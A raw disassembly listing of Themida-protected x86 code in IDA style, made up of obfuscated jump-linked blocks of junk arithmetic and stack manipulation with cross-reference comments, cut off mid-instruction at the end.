--------------------------------------------------------------------------- loc_566C33: ; CODE XREF: Themida_:00560B8Cj push dword ptr [esp] pop esi sub esp, 4 mov [esp], esi mov esi, esp push edi mov edi, 4 jmp loc_562C38 ; --------------------------------------------------------------------------- loc_566C4D: ; CODE XREF: Themida_:0055F10Cj mov edi, 20912A2h xor edi, 4BC83FB8h and edi, 607E1B64h jmp loc_56973D ; --------------------------------------------------------------------------- loc_566C63: ; CODE XREF: Themida_:0057140Aj xchg esi, [esp] mov esp, [esp] mov [esp], bx mov bx, 39AEh jmp loc_561299 ; --------------------------------------------------------------------------- loc_566C76: ; CODE XREF: Themida_:00572716j add edi, 10D16526h pop ebp movzx eax, al jmp loc_55FA42 ; --------------------------------------------------------------------------- loc_566C85: ; CODE XREF: Themida_:0056C1F5j push ecx xchg edx, [esp] not edx xchg edx, [esp] push dword ptr [esp] pop ecx push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp sub ecx, 1 not ecx add ecx, 6470713Ch jmp loc_56DB15 ; --------------------------------------------------------------------------- loc_566CB5: ; CODE XREF: Themida_:005642AAj xor eax, [esp] mov esp, [esp] add ebx, 4F25E78h push ebp jmp loc_56FBB3 ; --------------------------------------------------------------------------- loc_566CC7: ; CODE XREF: Themida_:005700CEj jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_566CCC: ; CODE XREF: Themida_:00565EF0j push eax mov eax, 6F681F11h sub ebx, eax pop eax pop edi or ebx, 43DF15DCh sub ebx, 14570F3Ch jmp loc_568C45 ; --------------------------------------------------------------------------- loc_566CE7: ; CODE XREF: Themida_:0056FA00j pop edx push small 7D5Eh jmp loc_568CDB ; --------------------------------------------------------------------------- loc_566CF1: ; CODE XREF: Themida_:00569DB8j mov esp, [esp] add esp, 4 jmp loc_5722E7 ; --------------------------------------------------------------------------- loc_566CFC: ; CODE XREF: Themida_:0056A608j sub esp, 4 mov [esp], eax jmp loc_5665C1 ; --------------------------------------------------------------------------- loc_566D07: ; CODE XREF: Themida_:0055E147j xor ecx, [esp] jmp loc_564D90 ; --------------------------------------------------------------------------- loc_566D0F: ; CODE XREF: Themida_:0055FF55j mov eax, 19C9028Ah add eax, 4F4408BDh sub edx, eax mov eax, [esp] add esp, 4 add edx, 4D243466h jmp loc_572AAA ; --------------------------------------------------------------------------- loc_566D2F: ; CODE XREF: Themida_:00567A63j push 2314h mov [esp], ebx mov ebx, 78DC78E9h or ecx, ebx pop ebx sub ecx, 5416278Ch add esi, ecx pop ecx push edi jmp loc_57257A ; --------------------------------------------------------------------------- loc_566D4E: ; CODE XREF: Themida_:0056E792j mov [esp], ebx push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push ecx mov ecx, esp sub esp, 4 jmp loc_570DF4 ; --------------------------------------------------------------------------- loc_566D6E: ; CODE XREF: Themida_:00560E5Ej add esp, 4 sub esp, 4 mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] xor [esp], al pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- xor [esp], ecx jmp loc_55E05B ; --------------------------------------------------------------------------- loc_566D9B: ; CODE XREF: Themida_:0056AC7Fj mov edx, 62023D5Eh jmp loc_56CFD5 ; --------------------------------------------------------------------------- loc_566DA5: ; CODE XREF: Themida_:00570BE0j push ebp mov ebp, 681A3751h jmp loc_56BED1 ; --------------------------------------------------------------------------- loc_566DB0: ; CODE XREF: Themida_:0057146Ej push eax push 58D449FAh pop eax not eax shr eax, 7 inc eax xor eax, 2B9A5CBAh xor eax, 56E43256h push ecx mov ecx, 6935515Eh sub ebx, ecx jmp loc_56AE86 ; --------------------------------------------------------------------------- loc_566DD4: ; CODE XREF: Themida_:0055F6A2j pop ecx pop cx sub bl, 0ECh movzx eax, al mov dx, [esp] jmp loc_562F0A ; --------------------------------------------------------------------------- loc_566DE6: ; CODE XREF: Themida_:00564898j push edx jmp loc_56D43D ; --------------------------------------------------------------------------- loc_566DEC: ; CODE XREF: Themida_:0056A9B9j add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_565BE3 ; --------------------------------------------------------------------------- loc_566DFE: ; CODE XREF: Themida_:0055E962j mov bh, 0FAh mov dh, bh pop ebx jmp loc_57040C ; --------------------------------------------------------------------------- loc_566E08: ; CODE XREF: Themida_:005689CFj add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 sub eax, 4 jmp loc_5691D7 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx push 7FF5h jmp loc_565B66 ; --------------------------------------------------------------------------- loc_566E41: ; CODE XREF: Themida_:0056E7CDj xor ecx, 0F6ACBA20h jmp loc_5721ED ; --------------------------------------------------------------------------- loc_566E4C: ; CODE XREF: Themida_:00567A39j dec ebp jmp loc_561F7A ; --------------------------------------------------------------------------- loc_566E52: ; CODE XREF: Themida_:00560312j mov bh, 0E7h add bh, 7 not bh shl bh, 8 not bh xor bh, 9Bh mov dl, 0A3h add dl, 0F5h sub dl, bh sub dl, 0F5h mov ebx, [esp] add esp, 4 add al, 27h sub al, dl sub al, 27h pop dx push eax push esp pop eax push ecx mov ecx, 4 add eax, ecx pop ecx push edx push 4 pop edx jmp loc_567E3A ; --------------------------------------------------------------------------- loc_566E91: ; CODE XREF: Themida_:0056C662j push 7794746Ch pop eax shr eax, 7 add eax, 0FF10D71Ch mov ebx, eax pop eax add edi, ebx jmp loc_5626BB ; --------------------------------------------------------------------------- loc_566EA9: ; CODE XREF: Themida_:005661D3j mov [esp], edi push edx mov edx, 56302FFCh jmp loc_56B6D6 ; --------------------------------------------------------------------------- loc_566EB7: ; CODE XREF: Themida_:00568972j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_566496 ; --------------------------------------------------------------------------- loc_566ECC: ; CODE XREF: Themida_:0056318Cj sub ebp, ecx jmp loc_56F43A ; --------------------------------------------------------------------------- loc_566ED3: ; CODE XREF: Themida_:0056DD3Aj add edi, 4 xchg edi, [esp] pop esp not esi push edi mov edi, 686221DFh jmp loc_565BBC ; --------------------------------------------------------------------------- loc_566EEA: ; CODE XREF: Themida_:0056B8C0j add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp xor edi, [esp] xor [esp], edi jmp loc_55DBD9 ; --------------------------------------------------------------------------- loc_566F07: ; CODE XREF: Themida_:005634DDj sub dword ptr [esp], 49990C05h pop esi add esi, 49990C05h jmp loc_571E26 ; --------------------------------------------------------------------------- loc_566F1A: ; CODE XREF: Themida_:00566821j pop esp push dword ptr [esp] mov edi, [esp] jmp loc_567051 ; --------------------------------------------------------------------------- loc_566F26: ; CODE XREF: Themida_:00564F30j add esp, 4 sub esp, 4 mov [esp], edx push esp jmp loc_56C9CF ; --------------------------------------------------------------------------- loc_566F38: ; CODE XREF: Themida_:0056CB2Cj add ecx, 2 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- lodsb push edx jmp loc_5667CD ; --------------------------------------------------------------------------- loc_566F59: ; CODE XREF: Themida_:005649FEj push ecx mov ecx, 44B47F0Eh xor ecx, 60233C67h or ecx, 5CEF6E98h shr ecx, 1 sub ecx, 65506A66h shr ecx, 3 xor ecx, 1B25E9B6h jmp loc_569B92 ; --------------------------------------------------------------------------- loc_566F81: ; CODE XREF: Themida_:00571CF3j add edx, 3182578Dh mov eax, [esp] add esp, 4 add edx, 1 or edx, 25E12EFCh or edx, 7EB7607Ah add edx, 14D56813h push esi mov esi, 5E701746h jmp loc_563A5A ; --------------------------------------------------------------------------- loc_566FB3: ; CODE XREF: Themida_:005695B6j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_566FB8: ; CODE XREF: Themida_:00566589j xor edx, esi pop esi jmp loc_563754 ; --------------------------------------------------------------------------- loc_566FC0: ; CODE XREF: Themida_:0056A4EFj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub esp, 2 mov [esp], dx jmp loc_55E8C3 ; --------------------------------------------------------------------------- push 691Ch mov [esp], edx jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_566FEB: ; CODE XREF: Themida_:0056F94Bj xor esi, 71620C1Ch mov ebx, esi jmp loc_563B34 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 jmp loc_570507 ; --------------------------------------------------------------------------- lodsd push edx jmp loc_56886F ; --------------------------------------------------------------------------- loc_56700B: ; CODE XREF: Themida_:0056D6C0j xor esi, 2E3C7FCCh add edi, esi jmp loc_56F924 ; --------------------------------------------------------------------------- loc_567018: ; CODE XREF: Themida_:0055F003j push 46657CB2h pop esi shl esi, 8 neg esi jmp loc_568365 ; --------------------------------------------------------------------------- loc_567028: ; CODE XREF: Themida_:005723E2j push 666Ah mov [esp], eax sub esp, 4 mov [esp], ebp mov ebp, 77503F68h jmp loc_56A27E ; --------------------------------------------------------------------------- loc_567040: ; CODE XREF: Themida_:0056B570j pop ecx not dh jmp loc_562FAA ; --------------------------------------------------------------------------- loc_567048: ; CODE XREF: Themida_:0056FD70j pop ebp push dword ptr [esp] jmp loc_56E82A ; --------------------------------------------------------------------------- loc_567051: ; CODE XREF: Themida_:00566F21j push 593Ch mov [esp], edi mov edi, esp add edi, 4 jmp loc_56F1C1 ; --------------------------------------------------------------------------- loc_567066: ; CODE XREF: Themida_:00568B55j shr dword ptr [esp], cl pushf jmp loc_571A8F ; --------------------------------------------------------------------------- loc_56706F: ; CODE XREF: Themida_:00564D8Bj pop edi add esi, 9316E2Bh add esi, 0A0F26A33h sub ecx, esi jmp loc_5665A1 ; --------------------------------------------------------------------------- loc_567083: ; CODE XREF: Themida_:0056A28Cj dec eax jmp loc_56E95F ; --------------------------------------------------------------------------- loc_567089: ; CODE XREF: Themida_:00567B57j mov [esp], ebp push edi push esp jmp loc_56D5D9 ; --------------------------------------------------------------------------- loc_567093: ; CODE XREF: Themida_:0056B849j xor ebp, 10CA3E34h push 2E7Bh mov [esp], ebp jmp loc_56FEA8 ; --------------------------------------------------------------------------- loc_5670A6: ; CODE XREF: Themida_:00569340j push 0DC5AEF7Ah pop eax jmp loc_55F36E ; --------------------------------------------------------------------------- loc_5670B1: ; CODE XREF: Themida_:00568A42j mov [esp], edi push ebp push 51D8036Ah pop ebp jmp loc_56301A ; --------------------------------------------------------------------------- loc_5670C0: ; CODE XREF: Themida_:00562D15j xor ebx, [esp] jmp loc_5656E4 ; --------------------------------------------------------------------------- loc_5670C8: ; CODE XREF: Themida_:0056017Aj mov ebp, 13F42C6Fh jmp loc_570486 ; --------------------------------------------------------------------------- lodsd jmp loc_5669D6 ; --------------------------------------------------------------------------- loc_5670D8: ; CODE XREF: Themida_:0056B063j add edi, 9B47638h push ecx mov ecx, 0F95312Ch add edi, ecx jmp loc_55EC88 ; --------------------------------------------------------------------------- loc_5670EB: ; CODE XREF: Themida_:0056E40Bj sub ecx, 32130ABBh pop esi push edx jmp loc_5608D2 ; --------------------------------------------------------------------------- loc_5670F8: ; CODE XREF: Themida_:0056EAF1j sub edi, ebp pop ebp jmp loc_56E50E ; --------------------------------------------------------------------------- loc_567100: ; CODE XREF: Themida_:0056A951j xor dword ptr [ecx], 2DEC0625h pop ecx pop eax mov edx, [esp] add esp, 4 jmp loc_567F3E ; --------------------------------------------------------------------------- loc_567113: ; CODE XREF: Themida_:00571C71j push 406h mov [esp], ebx mov ebx, 6E1EA3h add ebx, 30A068B7h shl ebx, 5 jmp loc_5709D3 ; --------------------------------------------------------------------------- loc_56712E: ; CODE XREF: Themida_:00567F91j mov [esp], ecx mov ecx, 2E02255Fh push eax mov eax, 171B2622h xor eax, 73A667Eh add edx, eax pop eax sub edx, 75980E7Ch sub edx, ecx add edx, 75980E7Ch sub edx, 1021405Ch mov ecx, [esp] jmp loc_568182 ; --------------------------------------------------------------------------- loc_567160: ; CODE XREF: Themida_:00572257j pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_56958D ; --------------------------------------------------------------------------- loc_56716C: ; CODE XREF: Themida_:0056BAD6j or eax, ecx pop ecx xchg eax, edi not edi push eax push edi mov eax, [esp] add esp, 4 pop edi neg eax push esi push edi push eax mov eax, 0E9F12E9h jmp loc_56677E ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp], cl pushf jmp loc_56C728 ; --------------------------------------------------------------------------- loc_567199: ; CODE XREF: Themida_:0056D27Cj mov ebx, ecx mov ebp, ebx pop ebx pop ecx pop ebx add esi, ebp mov ebp, [esp] jmp loc_561365 ; --------------------------------------------------------------------------- loc_5671AA: ; CODE XREF: Themida_:00562C98j xchg edx, [esp] mov esp, [esp] mov [esp], ebx push ecx push ebx mov bh, 10h and bh, 75h xor bh, 27h mov ch, bh pop ebx xor ch, 0E9h or ch, 0A2h shr ch, 7 shr ch, 4 inc ch xor ch, 0DEh mov bl, ch mov ecx, [esp] add esp, 4 and bl, 2Dh push edx push ecx mov cl, 0D6h push eax jmp loc_55EAB7 ; --------------------------------------------------------------------------- loc_5671E9: ; CODE XREF: Themida_:00571EA4j pop edx jmp loc_561E7C ; --------------------------------------------------------------------------- loc_5671EF: ; CODE XREF: Themida_:0056F05Fj add esi, edx mov edx, [esp] jmp loc_56E1B8 ; --------------------------------------------------------------------------- loc_5671F9: ; CODE XREF: Themida_:0056F16Aj and edi, 35D94E98h jmp loc_560E08 ; --------------------------------------------------------------------------- loc_567204: ; CODE XREF: Themida_:0056964Bj add ecx, edx pop edx add ecx, 2F951640h neg ecx xor ecx, 14861922h xor ecx, 92B71EE4h push ebx jmp loc_561A8A ; --------------------------------------------------------------------------- loc_567221: ; CODE XREF: Themida_:0056D2E8j add edx, ebp pop ebp pop ecx add eax, edx pop edx jmp loc_56CCC8 ; --------------------------------------------------------------------------- loc_56722D: ; CODE XREF: Themida_:0056F2CFj mov esi, 4 add ebx, esi mov esi, [esp] add esp, 4 jmp loc_55F868 ; --------------------------------------------------------------------------- loc_567242: ; CODE XREF: Themida_:005703F4j mov ax, bx pop bx sub word ptr [esp+4], 54F2h add [esp+4], ax add word ptr [esp+4], 54F2h jmp loc_56F88F ; --------------------------------------------------------------------------- loc_56725F: ; CODE XREF: Themida_:0055FF60j pop ebp sub ebx, 2CBD1617h add ebx, ecx add ebx, 2CBD1617h sub ebx, 5DDE25FAh push edx jmp loc_568D61 ; --------------------------------------------------------------------------- loc_56727A: ; CODE XREF: Themida_:0056DB22j shr ebp, 2 jmp loc_55FB63 ; --------------------------------------------------------------------------- loc_567282: ; CODE XREF: Themida_:00567F4Dj mov ebp, 234832BDh shr ebp, 8 jmp loc_56EC77 ; --------------------------------------------------------------------------- loc_56728F: ; CODE XREF: Themida_:005726C0j mov ebp, 60D41AC0h jmp loc_56D1EC ; --------------------------------------------------------------------------- loc_567299: ; CODE XREF: Themida_:0056D3ECj mov edx, 10C42D8Eh jmp loc_56C3C5 ; --------------------------------------------------------------------------- loc_5672A3: ; CODE XREF: Themida_:0056272Aj add ebx, edi add ebx, 5DE44D24h pop edi push esi push 2 pop esi push ecx mov ecx, 565702FBh jmp loc_56127F ; --------------------------------------------------------------------------- loc_5672BE: ; CODE XREF: Themida_:00567CF1j xor ebp, 3141DE6h shl ebp, 4 xor ebp, 0D381E6h mov esi, ebp jmp loc_57082D ; --------------------------------------------------------------------------- loc_5672D4: ; CODE XREF: Themida_:0057051Fj add ebx, 4 add ebx, 4 jmp loc_57093B ; --------------------------------------------------------------------------- loc_5672E5: ; CODE XREF: Themida_:00571D94j pop ecx push eax mov eax, 0C4A9562Ch jmp loc_56A6D8 ; --------------------------------------------------------------------------- loc_5672F1: ; CODE XREF: Themida_:0056943Aj pop esp jmp loc_55D2ED ; --------------------------------------------------------------------------- lodsb xor al, bl push small 54Dh jmp loc_55E0F6 ; --------------------------------------------------------------------------- loc_567303: ; CODE XREF: Themida_:0056E017j pop ecx mov edx, ecx pop ecx shl edx, 3 sub edx, 529B08ACh add eax, edx jmp loc_56B0FA ; --------------------------------------------------------------------------- loc_567317: ; CODE XREF: Themida_:00562303j push edi mov edi, 3DC97DD2h push edx push ecx push edx mov edx, 513F35CCh mov ecx, edx jmp loc_56A96B ; --------------------------------------------------------------------------- loc_56732C: ; CODE XREF: Themida_:005725EFj mov esi, esp jmp loc_5688EA ; --------------------------------------------------------------------------- loc_567333: ; CODE XREF: Themida_:005605B6j push 3538h jmp loc_56191B ; --------------------------------------------------------------------------- loc_56733D: ; CODE XREF: Themida_:0055E0C2j sub esp, 4 jmp loc_560CCC ; --------------------------------------------------------------------------- loc_567348: ; CODE XREF: Themida_:00569C85j pop esi add esi, 5FBE182Eh pop ebx add eax, 6641190Bh jmp loc_56490F ; --------------------------------------------------------------------------- mov cx, [esp] push 597h mov [esp], eax push esp mov eax, [esp] push edx jmp loc_56B283 ; --------------------------------------------------------------------------- loc_567370: ; CODE XREF: Themida_:0057211Dj mov esp, [esp] sar byte ptr [esp], cl pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56737C: ; CODE XREF: Themida_:0056E509j add ecx, 33030150h add ecx, 9786E45h add ecx, esi sub ecx, 9786E45h sub ecx, 33030150h mov esi, [esp] add esp, 4 add ecx, 21D3397Dh add ecx, eax jmp loc_56AE06 ; --------------------------------------------------------------------------- loc_5673A9: ; CODE XREF: Themida_:0056E3D1j add esp, 4 jmp loc_56B92B ; --------------------------------------------------------------------------- loc_5673B1: ; CODE XREF: Themida_:00570EEFj mov ecx, [esp] add esp, 4 mov edi, [esp] push ebx jmp loc_566AD6 ; --------------------------------------------------------------------------- loc_5673C3: ; CODE XREF: Themida_:0056D1A9j push ecx sub esp, 4 mov [esp], esp push edx push ebp mov ebp, 4 mov edx, ebp pop ebp add [esp+4], edx mov edx, [esp] add esp, 4 mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, 170B5866h sub eax, 1BBE3CECh inc eax shr eax, 7 push 66B5h mov [esp], esi push edi jmp loc_563734 ; --------------------------------------------------------------------------- loc_567409: ; CODE XREF: Themida_:0056F11Bj mov [esp], ebp mov ebp, 585E0EC5h add ebp, 39D02BE5h and ebp, 14E1033Dh neg ebp xor ebp, 0F7AFA36Eh not ebp not ebp inc ebp neg ebp inc ebp jmp loc_569757 ; --------------------------------------------------------------------------- loc_567432: ; CODE XREF: Themida_:0056B50Dj mov ecx, 2FF0395Ah neg ecx sub ecx, 0DA962B3h shl ecx, 2 jmp loc_56151D ; --------------------------------------------------------------------------- loc_567447: ; CODE XREF: Themida_:0056BBC9j mov [esp], edx mov edx, 4 push eax mov eax, 30736A1Dh shr eax, 7 add eax, 5EFA226Bh add ebx, eax jmp loc_55F34B ; --------------------------------------------------------------------------- loc_567464: ; CODE XREF: Themida_:00567EF3j push esi push 12267B33h mov esi, [esp] add esp, 4 shr esi, 6 push 2E23h mov [esp], ebp push ebx jmp loc_56D251 ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56748C: ; CODE XREF: Themida_:0055EC61j pop eax xchg ebp, [esp] pop esp dec dword ptr [esp] pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56749A: ; CODE XREF: Themida_:00570CC9j sub ch, bl sub ch, 0B2h pop ebx shr ch, 3 jmp loc_563442 ; --------------------------------------------------------------------------- loc_5674A8: ; CODE XREF: Themida_:00568916j pop ebx xchg eax, [esp] pop esp jmp loc_55D5F5 ; --------------------------------------------------------------------------- loc_5674B2: ; CODE XREF: Themida_:00568EC5j xor ebx, edx pop edx and esi, ebx pop ebx jmp loc_56C76C ; --------------------------------------------------------------------------- loc_5674BD: ; CODE XREF: Themida_:00565C66j shl ebp, 8 not ebp inc ebp dec ebp add ebp, 4F51300Fh add eax, ebp jmp loc_55F93E ; --------------------------------------------------------------------------- loc_5674D1: ; CODE XREF: Themida_:00564547j mov [esp], edi sub esp, 4 jmp loc_55ED6E ; --------------------------------------------------------------------------- loc_5674DC: ; CODE XREF: Themida_:00572679j add al, bl jmp loc_56E13C ; --------------------------------------------------------------------------- loc_5674E3: ; CODE XREF: Themida_:0056509Ej add ecx, 5A16528Bh add ecx, edi push esi jmp loc_56943F ; --------------------------------------------------------------------------- loc_5674F1: ; CODE XREF: Themida_:005659C5j push dword ptr [esp] pop edx add esp, 4 jmp loc_571F73 ; --------------------------------------------------------------------------- loc_567500: ; CODE XREF: Themida_:0056927Cj xor ebx, [esp] pop esp test cl, al pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56750C: ; CODE XREF: Themida_:005645C8j sub edi, esi jmp loc_571E71 ; --------------------------------------------------------------------------- loc_567513: ; CODE XREF: Themida_:00566AD1j mov bl, 78h or dl, bl pop ebx shr dl, 6 neg dl xor dl, 53h jmp loc_55EE41 ; --------------------------------------------------------------------------- loc_567525: ; CODE XREF: Themida_:0057296Dj or eax, 0EB82AA7h add eax, 7CF92CCDh xor eax, 1BB1CBA8h jmp loc_55FA6C ; --------------------------------------------------------------------------- loc_567539: ; CODE XREF: Themida_:0056937Bj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub ebp, 4 xor ebp, [esp] jmp loc_55EF88 ; --------------------------------------------------------------------------- loc_567559: ; CODE XREF: Themida_:0056487Ej pop ebp add [esp+8], edx sub dword ptr [esp+8], 13D62849h jmp loc_572A32 ; --------------------------------------------------------------------------- loc_56756B: ; CODE XREF: Themida_:0056F26Fj mov esp, [esp] mov [esp], edx jmp loc_565A77 ; --------------------------------------------------------------------------- loc_567576: ; CODE XREF: Themida_:0056F329j push esp pop dword ptr [esp] jmp loc_567869 ; --------------------------------------------------------------------------- loc_56757F: ; CODE XREF: Themida_:00560965j xor [edx], ecx pop edx inc ecx sub esp, 4 jmp loc_55EA6A ; --------------------------------------------------------------------------- loc_56758B: ; CODE XREF: Themida_:00560F43j pop eax dec ecx xor ecx, 95A04BB6h mov eax, ecx jmp loc_56D14D ; --------------------------------------------------------------------------- loc_56759A: ; CODE XREF: Themida_:0055D801j sub dh, 0FCh inc dh sub dh, 30h sub dh, 3Ch sub al, dh mov edx, [esp] add esp, 4 pop ebx jmp loc_570F3B ; --------------------------------------------------------------------------- loc_5675B3: ; CODE XREF: Themida_:00562FE5j push ebp mov ebp, 458A7230h sub edx, ebp pop ebp sub edx, 2E8872FCh shr edx, 6 shl edx, 4 sub edx, 25AD3542h add edi, edx pop edx push eax sub esp, 4 jmp loc_55FCB5 ; --------------------------------------------------------------------------- loc_5675DA: ; CODE XREF: Themida_:0055E2D2j sub ebx, 409856ADh mov edi, [esp] jmp loc_5719D7 ; --------------------------------------------------------------------------- loc_5675E8: ; CODE XREF: Themida_:00567729j add esp, 4 pop ebx add bl, cl mov cx, [esp] push esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi jmp loc_56E19D ; --------------------------------------------------------------------------- loc_567609: ; CODE XREF: Themida_:00562070j mov al, 9 add al, 0E1h neg al or al, 0D1h jmp loc_56F686 ; --------------------------------------------------------------------------- loc_567616: ; CODE XREF: Themida_:00566339j sub ebp, 10755E18h add ebp, ecx jmp loc_56122A ; --------------------------------------------------------------------------- loc_567623: ; CODE XREF: Themida_:00565CD3j xchg edx, [esp] pop esp push 1E65h jmp loc_56BB44 ; --------------------------------------------------------------------------- loc_567631: ; CODE XREF: Themida_:0056CE7Dj add esp, 4 sub edi, edx mov edx, [esp] add esp, 4 dec edi push ecx mov ecx, 2F613012h shr ecx, 7 push edi mov edi, 369C1B5Ch add edi, 0C963E4A3h sub ecx, edi jmp loc_560724 ; --------------------------------------------------------------------------- loc_567659: ; CODE XREF: Themida_:0056B2EDj push dword ptr [esp] push dword ptr [esp] jmp loc_562FF3 ; --------------------------------------------------------------------------- loc_567664: ; CODE XREF: Themida_:0056EA38j push ebx mov bl, 0B0h push edx mov dh, 10h push ecx push edx mov dh, 0F3h push cx mov ch, 32h sub dh, ch pop cx sub dh, 3Fh shl dh, 7 sub dh, 11h mov cl, dh pop edx and cl, 46h shl cl, 6 jmp loc_55DB08 ; --------------------------------------------------------------------------- loc_56768D: ; CODE XREF: Themida_:00570DE2j mov ecx, esp add ecx, 4 push ebp push ecx mov ecx, 6CC81AA5h dec ecx jmp loc_56D2C1 ; --------------------------------------------------------------------------- loc_5676A2: ; CODE XREF: Themida_:0055E729j push eax jmp loc_562BCC ; --------------------------------------------------------------------------- loc_5676A8: ; CODE XREF: Themida_:00560139j and dl, 81h push ebx mov bh, 18h xor dl, bh pop ebx not dl inc dl push ax mov ah, 0C1h jmp loc_5707F1 ; --------------------------------------------------------------------------- loc_5676BE: ; CODE XREF: Themida_:00563066j not esi sub esi, 81E51378h jmp loc_5715EB ; --------------------------------------------------------------------------- loc_5676CB: ; CODE XREF: Themida_:0056ADB0j pop ecx jmp loc_56D73C ; --------------------------------------------------------------------------- loc_5676D1: ; CODE XREF: Themida_:0056051Dj xchg edi, [esp] jmp loc_567CAF ; --------------------------------------------------------------------------- loc_5676D9: ; CODE XREF: Themida_:005728D0j add edi, ecx add edi, 33ED22B0h pop ecx sub edi, 77C20392h add edi, edx add edi, 77C20392h sub edi, 462412CEh add edi, 65277B6h pop edx sub esp, 4 mov [esp], ecx jmp loc_5724F7 ; --------------------------------------------------------------------------- loc_567708: ; CODE XREF: Themida_:005612D8j mov [esp], esi push 126419DEh mov esi, [esp] add esp, 4 xor esi, 248BF27h jmp loc_565214 ; --------------------------------------------------------------------------- loc_567724: ; CODE XREF: Themida_:0056A825j mov cl, ah mov eax, [esp] jmp loc_5675E8 ; --------------------------------------------------------------------------- loc_56772E: ; CODE XREF: Themida_:0056B6B4j pop ecx pop dword ptr [esp] mov esp, [esp] mov [esp], eax mov eax, 26B86373h jmp loc_56B93D ; --------------------------------------------------------------------------- loc_567742: ; CODE XREF: Themida_:0056C19Bj mov dx, [esp] jmp loc_571A7F ; --------------------------------------------------------------------------- loc_56774B: ; CODE XREF: Themida_:0057197Aj pop esi jmp loc_55F870 ; --------------------------------------------------------------------------- loc_567751: ; CODE XREF: Themida_:0056CC5Aj pop esp sub ebx, 17361C63h sub ebx, 40ED6CF4h push eax push edi mov edi, 3D450550h sub edi, 0C38AF40Ch mov eax, edi pop edi add eax, 0FFFFFFFFh xor eax, 5E2A7A11h sub ebx, eax pop eax add ebx, 3BFB5464h jmp loc_55DC2A ; --------------------------------------------------------------------------- loc_567786: ; CODE XREF: Themida_:005624CFj push ecx mov ch, ah mov bl, ch jmp loc_561957 ; --------------------------------------------------------------------------- loc_567790: ; CODE XREF: Themida_:0056AB08j sub edx, esi add edx, 2B1D2A93h jmp loc_561056 ; --------------------------------------------------------------------------- loc_56779D: ; CODE XREF: Themida_:00560ED5j add [esp+4], esi sub dword ptr [esp+4], 195D565Dh add dword ptr [esp+4], 44E7261Ch push dword ptr [esp] jmp loc_55FB9E ; --------------------------------------------------------------------------- mov eax, [esp] jmp loc_570746 ; --------------------------------------------------------------------------- loc_5677C1: ; CODE XREF: Themida_:0056417Fj shr edx, 1 cmp eax, edx jz loc_567F3E push 6D66h mov [esp], edx push 40B0h mov [esp], eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_56CA82 ; --------------------------------------------------------------------------- loc_5677EA: ; CODE XREF: Themida_:0056962Ej pop esp push ebp mov ebp, 12246E1Bh sub [esp+4], ebp pop ebp add dword ptr [esp], 43135E74h jmp loc_56C673 ; --------------------------------------------------------------------------- loc_567802: ; CODE XREF: Themida_:00561C75j push esi mov esi, 7D56DBB9h add ebx, 23242B4Eh sub ebx, 1C3500CDh sub ebx, esi jmp loc_56ACCE ; --------------------------------------------------------------------------- loc_56781B: ; CODE XREF: Themida_:005627B0j mov esi, [esp] add esp, 4 push eax mov eax, 347034BCh sub esi, eax jmp loc_572091 ; --------------------------------------------------------------------------- loc_56782E: ; CODE XREF: Themida_:00560657j add edi, 0F4B76BEh pop edx sub esp, 4 jmp loc_56C236 ; --------------------------------------------------------------------------- loc_567840: ; CODE XREF: Themida_:005641D2j mov ebp, 2C943921h sub ebp, edx mov edx, [esp] add esp, 4 and eax, ebp pop ebp or edx, eax shl edx, 1 jmp loc_5619AB ; --------------------------------------------------------------------------- loc_567859: ; CODE XREF: Themida_:00563A8Fj mov ecx, 30C377AFh add ebx, ecx pop ecx pop ebp push edx push esp jmp loc_565FE7 ; --------------------------------------------------------------------------- loc_567869: ; CODE XREF: Themida_:0056757Aj push esi mov esi, 4 add [esp+4], esi pop esi mov edi, [esp] add esp, 4 push edx jmp loc_56FBDC ; --------------------------------------------------------------------------- loc_567880: ; CODE XREF: Themida_:00562372j add eax, 7B6F127Fh jmp loc_56F66F ; --------------------------------------------------------------------------- loc_56788A: ; CODE XREF: Themida_:005717BBj mov esi, 0F82561Eh xor eax, esi jmp loc_560E69 ; --------------------------------------------------------------------------- loc_567896: ; CODE XREF: Themida_:00563EA0j add esi, edi jmp loc_56A233 ; --------------------------------------------------------------------------- loc_56789D: ; CODE XREF: Themida_:0056025Cj sub esp, 4 jmp loc_562631 ; --------------------------------------------------------------------------- loc_5678A5: ; CODE XREF: Themida_:00569A6Dj add edx, ebx add edx, 712B5F69h push ebp mov ebp, 7A1C0FEDh sub edx, ebp pop ebp push dword ptr [esp] pop ebx jmp loc_56946B ; --------------------------------------------------------------------------- loc_5678BF: ; CODE XREF: Themida_:00570936j pop ebx push 1345h mov [esp], esi mov esi, 4 add ebp, esi mov esi, [esp] jmp loc_566509 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax sub esp, 4 mov [esp], ebp push esp push dword ptr [esp] pop ebp push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ebx mov 